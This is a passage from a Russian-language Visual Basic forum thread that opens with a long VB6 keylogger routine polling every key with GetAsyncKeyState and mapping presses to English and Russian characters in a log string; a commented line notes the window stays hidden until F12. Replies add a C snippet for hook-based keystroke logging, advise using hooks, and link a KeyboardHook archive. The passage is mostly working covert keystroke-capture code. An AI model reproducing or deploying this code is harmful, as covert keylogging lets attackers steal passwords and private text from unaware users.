  605. If Shift = 0 And (keystate And &H1) = &H1 Then
  606.   AllKeyLog = AllKeyLog + "5"
  607.       End If
  608.             If Shift <> 0 And (keystate And &H1) = &H1 Then
  609. AllKeyLog = AllKeyLog + "%"
  610. End If
  611. keystate = Getasynckeystate(vbKey6)
  612. If Shift = 0 And (keystate And &H1) = &H1 Then
  613.   AllKeyLog = AllKeyLog + "6"
  614.       End If
  615.             If Shift <> 0 And (keystate And &H1) = &H1 Then
  616.     If l$ = "English" Then
  617.     AllKeyLog = AllKeyLog + "^"
  618.     ElseIf l$ = "Russian" Then
  619.     AllKeyLog = AllKeyLog + ":"
  620.     End If
  621. End If
  622. keystate = Getasynckeystate(vbKey7)
  623. If Shift = 0 And (keystate And &H1) = &H1 Then
  624.   AllKeyLog = AllKeyLog + "7"
  625.      End If
  626.           If Shift <> 0 And (keystate And &H1) = &H1 Then
  627.     If l$ = "English" Then
  628.     AllKeyLog = AllKeyLog + "&"
  629.     ElseIf l$ = "Russian" Then
  630.     AllKeyLog = AllKeyLog + "?"
  631.     End If
  632. End If
  633.     keystate = Getasynckeystate(vbKey8)
  634. If Shift = 0 And (keystate And &H1) = &H1 Then
  635.   AllKeyLog = AllKeyLog + "8"
  636.      End If
  637.           If Shift <> 0 And (keystate And &H1) = &H1 Then
  638. AllKeyLog = AllKeyLog + "*"
  639. End If
  640.       keystate = Getasynckeystate(vbKey9)
  641. If Shift = 0 And (keystate And &H1) = &H1 Then
  642.   AllKeyLog = AllKeyLog + "9"
  643.      End If
  644.           If Shift <> 0 And (keystate And &H1) = &H1 Then
  645. AllKeyLog = AllKeyLog + "("
  646. End If
  647.       keystate = Getasynckeystate(vbKey0)
  648. If Shift = 0 And (keystate And &H1) = &H1 Then
  649.   AllKeyLog = AllKeyLog + "0"
  650.      End If
  651.      DoEvents
  652.           If Shift <> 0 And (keystate And &H1) = &H1 Then
  653. AllKeyLog = AllKeyLog + ")"
  654. End If
  655.      keystate = Getasynckeystate(vbKeyBack)
  656. If (keystate And &H1) = &H1 Then
  657.   AllKeyLog = AllKeyLog + "{bkspc}"
  658.      End If
  659.       keystate = Getasynckeystate(vbKeyTab)
  660. If (keystate And &H1) = &H1 Then
  661.   AllKeyLog = AllKeyLog + "{tab}"
  662.      End If
  663.       keystate = Getasynckeystate(vbKeyReturn)
  664. If (keystate And &H1) = &H1 Then
  665.   AllKeyLog = AllKeyLog + vbCrLf
  666.      End If
  667.       keystate = Getasynckeystate(vbKeyShift)
  668. If (keystate And &H1) = &H1 Then
  669.   AllKeyLog = AllKeyLog + "{shift}"
  670.      End If
  671.    keystate = Getasynckeystate(vbKeyControl)
  672. If (keystate And &H1) = &H1 Then
  673.   AllKeyLog = AllKeyLog + "{ctrl}"
  674.      End If
  675.    keystate = Getasynckeystate(vbKeyMenu)
  676. If (keystate And &H1) = &H1 Then
  677.   AllKeyLog = AllKeyLog + "{alt}"
  678.      End If
  679.    keystate = Getasynckeystate(vbKeyPause)
  680. If (keystate And &H1) = &H1 Then
  681.   AllKeyLog = AllKeyLog + "{pause}"
  682.      End If
  683.    keystate = Getasynckeystate(vbKeyEscape)
  684. If (keystate And &H1) = &H1 Then
  685.   AllKeyLog = AllKeyLog + "{esc}"
  686.      End If
  687.    keystate = Getasynckeystate(vbKeySpace)
  688. If (keystate And &H1) = &H1 Then
  689.   AllKeyLog = AllKeyLog + " "
  690.      End If
  691.       keystate = Getasynckeystate(vbKeyEnd)
  692. If (keystate And &H1) = &H1 Then
  693.   AllKeyLog = AllKeyLog + "{end}"
  694.      End If
  695.       keystate = Getasynckeystate(vbKeyHome)
  696. If (keystate And &H1) = &H1 Then
  697.   AllKeyLog = AllKeyLog + "{home}"
  698.      End If
  699. keystate = Getasynckeystate(vbKeyLeft)
  700. If (keystate And &H1) = &H1 Then
  701.   AllKeyLog = AllKeyLog + "{left}"
  702.      End If
  703. keystate = Getasynckeystate(vbKeyRight)
  704. If (keystate And &H1) = &H1 Then
  705.   AllKeyLog = AllKeyLog + "{right}"
  706.      End If
  707. keystate = Getasynckeystate(vbKeyUp)
  708. If (keystate And &H1) = &H1 Then
  709.   AllKeyLog = AllKeyLog + "{up}"
  710.      End If
  711.    keystate = Getasynckeystate(vbKeyDown)
  712. If (keystate And &H1) = &H1 Then
  713.   AllKeyLog = AllKeyLog + "{down}"
  714.      End If
  715. keystate = Getasynckeystate(vbKeyInsert)
  716. If (keystate And &H1) = &H1 Then
  717.   AllKeyLog = AllKeyLog + "{insert}"
  718.      End If
  719. keystate = Getasynckeystate(vbKeyDelete)
  720. If (keystate And &H1) = &H1 Then
  721.   AllKeyLog = AllKeyLog + "{Delete}"
  722.      End If
  723.      DoEvents
  724. keystate = Getasynckeystate(&HBA)
  725. If Shift = 0 And (keystate And &H1) = &H1 Then
  726.   AllKeyLog = AllKeyLog + ";"
  727.      End If
  728.      If Shift <> 0 And (keystate And &H1) = &H1 Then
  729.   AllKeyLog = AllKeyLog + ":"
  730.         End If
  731. keystate = Getasynckeystate(&HBB)
  732. If Shift = 0 And (keystate And &H1) = &H1 Then
  733.   AllKeyLog = AllKeyLog + "="
  734.      End If
  735.      If Shift <> 0 And (keystate And &H1) = &H1 Then
  736.   AllKeyLog = AllKeyLog + "+"
  737.      End If
  738. keystate = Getasynckeystate(&HBC)
  739. If Shift = 0 And (keystate And &H1) = &H1 Then
  740.     If l$ = "English" Then
  741.     AllKeyLog = AllKeyLog + ","
  742.     ElseIf l$ = "Russian" Then
  743.     AllKeyLog = AllKeyLog + "б"
  744.     End If
  745.      End If
  746.      If Shift <> 0 And (keystate And &H1) = &H1 Then
  747.         If l$ = "English" Then
  748.         AllKeyLog = AllKeyLog + "<"
  749.         ElseIf l$ = "Russian" Then
  750.         AllKeyLog = AllKeyLog + "Б"
  751.         End If
  752.     End If
  753. keystate = Getasynckeystate(&HBD)
  754. If Shift = 0 And (keystate And &H1) = &H1 Then
  755.   AllKeyLog = AllKeyLog + "-"
  756.      End If
  757. If Shift <> 0 And (keystate And &H1) = &H1 Then
  758.   AllKeyLog = AllKeyLog + "_"
  759.      End If
  760. keystate = Getasynckeystate(&HBE)
  761. If Shift = 0 And (keystate And &H1) = &H1 Then
  762.         If l$ = "English" Then
  763.         AllKeyLog = AllKeyLog + "."
  764.         ElseIf l$ = "Russian" Then
  765.         AllKeyLog = AllKeyLog + "ю"
  766.         End If
  767.     End If
  768. If Shift <> 0 And (keystate And &H1) = &H1 Then
  769.     If l$ = "English" Then
  770.     AllKeyLog = AllKeyLog + ">"
  771.     ElseIf l$ = "Russian" Then
  772.     AllKeyLog = AllKeyLog + "Ю"
  773.     End If
  774.     End If
  775. keystate = Getasynckeystate(&HBF)
  776. If Shift = 0 And (keystate And &H1) = &H1 Then
  777.   AllKeyLog = AllKeyLog + "/"
  778.      End If
  779.      If Shift <> 0 And (keystate And &H1) = &H1 Then
  780.   AllKeyLog = AllKeyLog + "?"
  781.      End If
  782. keystate = Getasynckeystate(&HC0)
  783. If Shift = 0 And (keystate And &H1) = &H1 Then
  784.   
  785.     If l$ = "English" Then
  786.     AllKeyLog = AllKeyLog + "`"
  787.     ElseIf l$ = "Russian" Then
  788.     AllKeyLog = AllKeyLog + "ё"
  789.     End If
  790.  
  791.      End If
  792.      If Shift <> 0 And (keystate And &H1) = &H1 Then
  793.     
  794.     If l$ = "English" Then
  795.     AllKeyLog = AllKeyLog + "~"
  796.     ElseIf l$ = "Russian" Then
  797.     AllKeyLog = AllKeyLog + "Ё"
  798.     End If
  799.  
  800.      End If
  801. keystate = Getasynckeystate(&HDB)
  802. DoEvents
  803. If Shift = 0 And (keystate And &H1) = &H1 Then
  804.         
  805.     If l$ = "English" Then
  806.     AllKeyLog = AllKeyLog + "["
  807.     ElseIf l$ = "Russian" Then
  808.     AllKeyLog = AllKeyLog + "х"
  809.     End If
  810.     
  811.      End If
  812.      If Shift <> 0 And (keystate And &H1) = &H1 Then
  813.     
  814.     If l$ = "English" Then
  815.     AllKeyLog = AllKeyLog + "{"
  816.     ElseIf l$ = "Russian" Then
  817.     AllKeyLog = AllKeyLog + "Х"
  818.     End If
  819.     
  820.      End If
  821. keystate = Getasynckeystate(&HDC)
  822. If Shift = 0 And (keystate And &H1) = &H1 Then
  823.   AllKeyLog = AllKeyLog + "\"
  824.      End If
  825.      If Shift <> 0 And (keystate And &H1) = &H1 Then
  826.     
  827.     If l$ = "English" Then
  828.     AllKeyLog = AllKeyLog + "|"
  829.     ElseIf l$ = "Russian" Then
  830.     AllKeyLog = AllKeyLog + "/"
  831.     End If
  832.   
  833.      End If
  834. keystate = Getasynckeystate(&HDD)
  835. If Shift = 0 And (keystate And &H1) = &H1 Then
  836.       
  837.     If l$ = "English" Then
  838.     AllKeyLog = AllKeyLog + "]"
  839.     ElseIf l$ = "Russian" Then
  840.     AllKeyLog = AllKeyLog + "ъ"
  841.     End If
  842.      
  843.      End If
  844.      If Shift <> 0 And (keystate And &H1) = &H1 Then
  845.     
  846.     If l$ = "English" Then
  847.     AllKeyLog = AllKeyLog + "}"
  848.     ElseIf l$ = "Russian" Then
  849.     AllKeyLog = AllKeyLog + "Ъ"
  850.     End If
  851.     
  852.      End If
  853. keystate = Getasynckeystate(&HDE)
  854. If Shift = 0 And (keystate And &H1) = &H1 Then
  855.     If l$ = "English" Then
  856.     AllKeyLog = AllKeyLog + "'"
  857.     ElseIf l$ = "Russian" Then
  858.     AllKeyLog = AllKeyLog + "э"
  859.     End If
  860.      End If
  861.      If Shift <> 0 And (keystate And &H1) = &H1 Then
  862.    
  863.     If l$ = "English" Then
  864.     AllKeyLog = AllKeyLog + Chr$(34)
  865.     ElseIf l$ = "Russian" Then
  866.     AllKeyLog = AllKeyLog + "Э"
  867.     End If
  868.     End If
  869. keystate = Getasynckeystate(vbKeyMultiply)
  870. If (keystate And &H1) = &H1 Then
  871.   AllKeyLog = AllKeyLog + "*"
  872.      End If
  873. keystate = Getasynckeystate(vbKeyDivide)
  874. If (keystate And &H1) = &H1 Then
  875.   AllKeyLog = AllKeyLog + "/"
  876.  
  877.      End If
  878. keystate = Getasynckeystate(vbKeyAdd)
  879. If (keystate And &H1) = &H1 Then
  880.   AllKeyLog = AllKeyLog + "+"
  881.      End If
  882. keystate = Getasynckeystate(vbKeySubtract)
  883. If (keystate And &H1) = &H1 Then
  884.   AllKeyLog = AllKeyLog + "-"
  885.      End If
  886. keystate = Getasynckeystate(vbKeyDecimal)
  887. If (keystate And &H1) = &H1 Then
  888.   AllKeyLog = AllKeyLog + "{Del or ,}"
  889.      End If
  890.    keystate = Getasynckeystate(vbKeyF1)
  891. If (keystate And &H1) = &H1 Then
  892.   AllKeyLog = AllKeyLog + "{F1}"
  893.      End If
  894.    keystate = Getasynckeystate(vbKeyF2)
  895. If (keystate And &H1) = &H1 Then
  896.   AllKeyLog = AllKeyLog + "{F2}"
  897.      End If
  898.    keystate = Getasynckeystate(vbKeyF3)
  899. If (keystate And &H1) = &H1 Then
  900.   AllKeyLog = AllKeyLog + "{F3}"
  901.      End If
  902.    keystate = Getasynckeystate(vbKeyF4)
  903. If (keystate And &H1) = &H1 Then
  904.   AllKeyLog = AllKeyLog + "{F4}"
  905.      End If
  906.    keystate = Getasynckeystate(vbKeyF5)
  907. If (keystate And &H1) = &H1 Then
  908.   AllKeyLog = AllKeyLog + "{F5}"
  909.      End If
  910.    keystate = Getasynckeystate(vbKeyF6)
  911. If (keystate And &H1) = &H1 Then
  912.   AllKeyLog = AllKeyLog + "{F6}"
  913.      End If
  914.    keystate = Getasynckeystate(vbKeyF7)
  915. If (keystate And &H1) = &H1 Then
  916.   AllKeyLog = AllKeyLog + "{F7}"
  917.      End If
  918.    keystate = Getasynckeystate(vbKeyF8)
  919. If (keystate And &H1) = &H1 Then
  920.   AllKeyLog = AllKeyLog + "{F8}"
  921.      End If
  922.      DoEvents
  923.    keystate = Getasynckeystate(vbKeyF9)
  924. If (keystate And &H1) = &H1 Then
  925.   AllKeyLog = AllKeyLog + "{F9}"
  926.      End If
  927.    keystate = Getasynckeystate(vbKeyF10)
  928. If (keystate And &H1) = &H1 Then
  929.   AllKeyLog = AllKeyLog + "{F10}"
  930.      End If
  931.    keystate = Getasynckeystate(vbKeyF11)
  932. If (keystate And &H1) = &H1 Then
  933.   AllKeyLog = AllKeyLog + "{F11}"
  934.      End If
  935.    keystate = Getasynckeystate(vbKeyF12)
  936. If Shift = 0 And (keystate And &H1) = &H1 Then
  937.   AllKeyLog = AllKeyLog + "{F12}"
  938.      End If
  939. 'When the user hits F12, the program becomes visible.
  940. 'If Shift <> 0 And (keystate And &H1) = &H1 Then
  941. '   Form1.Visible = True
  942. '     End If
  943.      
  944.     keystate = Getasynckeystate(vbKeyNumlock)
  945. If (keystate And &H1) = &H1 Then
  946.   AllKeyLog = AllKeyLog + "{NumLock}"
  947.      End If
  948.      keystate = Getasynckeystate(vbKeyScrollLock)
  949. If (keystate And &H1) = &H1 Then
  950.   AllKeyLog = AllKeyLog + "{ScrollLock}"
  951.          End If
  952.     keystate = Getasynckeystate(vbKeyPrint)
  953. If (keystate And &H1) = &H1 Then
  954.   AllKeyLog = AllKeyLog + "{PrintScreen}"
  955.          End If
  956.        keystate = Getasynckeystate(vbKeyPageUp)
  957. If (keystate And &H1) = &H1 Then
  958.   AllKeyLog = AllKeyLog + "{PageUp}"
  959.          End If
  960.        keystate = Getasynckeystate(vbKeyPageDown)
  961. If (keystate And &H1) = &H1 Then
  962.   AllKeyLog = AllKeyLog + "{Pagedown}"
  963.          End If
  964.          keystate = Getasynckeystate(vbKeyNumpad1)
  965. If (keystate And &H1) = &H1 Then
  966.   AllKeyLog = AllKeyLog + "1"
  967.          End If
  968.          keystate = Getasynckeystate(vbKeyNumpad2)
  969. If (keystate And &H1) = &H1 Then
  970.   AllKeyLog = AllKeyLog + "2"
  971.          End If
  972.          keystate = Getasynckeystate(vbKeyNumpad3)
  973. If (keystate And &H1) = &H1 Then
  974.   AllKeyLog = AllKeyLog + "3"
  975.          End If
  976.          keystate = Getasynckeystate(vbKeyNumpad4)
  977. If (keystate And &H1) = &H1 Then
  978.   AllKeyLog = AllKeyLog + "4"
  979.          End If
  980.          DoEvents
  981.          keystate = Getasynckeystate(vbKeyNumpad5)
  982. If (keystate And &H1) = &H1 Then
  983.   AllKeyLog = AllKeyLog + "5"
  984.          End If
  985.          keystate = Getasynckeystate(vbKeyNumpad6)
  986. If (keystate And &H1) = &H1 Then
  987.   AllKeyLog = AllKeyLog + "6"
  988.          End If
  989.          keystate = Getasynckeystate(vbKeyNumpad7)
  990. If (keystate And &H1) = &H1 Then
  991.   AllKeyLog = AllKeyLog + "7"
  992.          End If
  993.          keystate = Getasynckeystate(vbKeyNumpad8)
  994. If (keystate And &H1) = &H1 Then
  995.   AllKeyLog = AllKeyLog + "8"
  996.          End If
  997.          keystate = Getasynckeystate(vbKeyNumpad9)
  998. If (keystate And &H1) = &H1 Then
  999.   AllKeyLog = AllKeyLog + "9"
  1000.          End If
  1001.          keystate = Getasynckeystate(vbKeyNumpad0)
  1002. If (keystate And &H1) = &H1 Then
  1003.   AllKeyLog = AllKeyLog + "0"
  1004.          End If
  1005.  
  1006. End Sub

Ответить

Номер ответа: 5
Автор ответа:
 Ra$cal



ICQ: 8068014 

Вопросов: 18
Ответов: 817
 Web-сайт: www.rascalspb.narod.ru
 Профиль | | #5
Добавлено: 16.11.08 22:23
Зачем велосипед изобретать?

  1.         //Translate virtual key code to ascii
  2.  
  3.         GetKeyboardState(keyStateArr);
  4.         ToAscii(wParam, scanCode, keyStateArr, &word, 0);
  5.         ch = (char) word;
  6.         
  7.         if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= 'a' && wParam <= 'z')
  8.             ch += 'A'-'a';
  9.  
  10.         WriteToLog(ch);

Ответить

Номер ответа: 6
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #6
Добавлено: 17.11.08 00:07
Да, тут Руслан безусловно перемудрил =)

Ответить

Номер ответа: 7
Автор ответа:
 EROS



Вопросов: 58
Ответов: 4255
 Профиль | | #7 Добавлено: 17.11.08 07:53
жесть )))

Ответить

Номер ответа: 8
Автор ответа:
 D o c a l



ICQ: 408802757 

Вопросов: 76
Ответов: 985
 Web-сайт: www.doc-source.pp.net.ua/
 Профиль | | #8
Добавлено: 18.11.08 00:51
ну код то по ходу старенький....

Ответить

Номер ответа: 9
Автор ответа:
 mc-black



ICQ: 308-534-060 

Вопросов: 20
Ответов: 1860
 Web-сайт: mc-black.narod.ru/dzp.htm
 Профиль | | #9
Добавлено: 18.11.08 11:42
А что без цикла в таймере это разве не делается. Я никогда не писал кейлогеры и не читал документации по этой теме, но, по-моему, такой подход по-моему неприемлем.

Ответить

Номер ответа: 10
Автор ответа:
 Ra$cal



ICQ: 8068014 

Вопросов: 18
Ответов: 817
 Web-сайт: www.rascalspb.narod.ru
 Профиль | | #10
Добавлено: 18.11.08 13:10
угу. делаться это должно на хуках.

Ответить

Номер ответа: 11
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #11
Добавлено: 18.11.08 13:12
Что-то раскалько активизировался на форуме =)

Ответить

Номер ответа: 12
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #12
Добавлено: 18.11.08 15:19
Вот, накатал что-то =)
http://vbnet.ru/temp/KeyboardHook.zip

Ответить

Номер ответа: 13
Автор ответа:
 Ra$cal



ICQ: 8068014 

Вопросов: 18
Ответов: 817
 Web-сайт: www.rascalspb.narod.ru
 Профиль | | #13
Добавлено: 18.11.08 19:53
палач не дремлет, контролит раскальку =)
несем знание в массы, альтруизм проснулся ;)

Ответить

Номер ответа: 14
Автор ответа:
 mc-black



ICQ: 308-534-060 

Вопросов: 20
Ответов: 1860
 Web-сайт: mc-black.narod.ru/dzp.htm
 Профиль | | #14
Добавлено: 19.11.08 09:49
Exec, а Вы masm пользуете!? ))

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам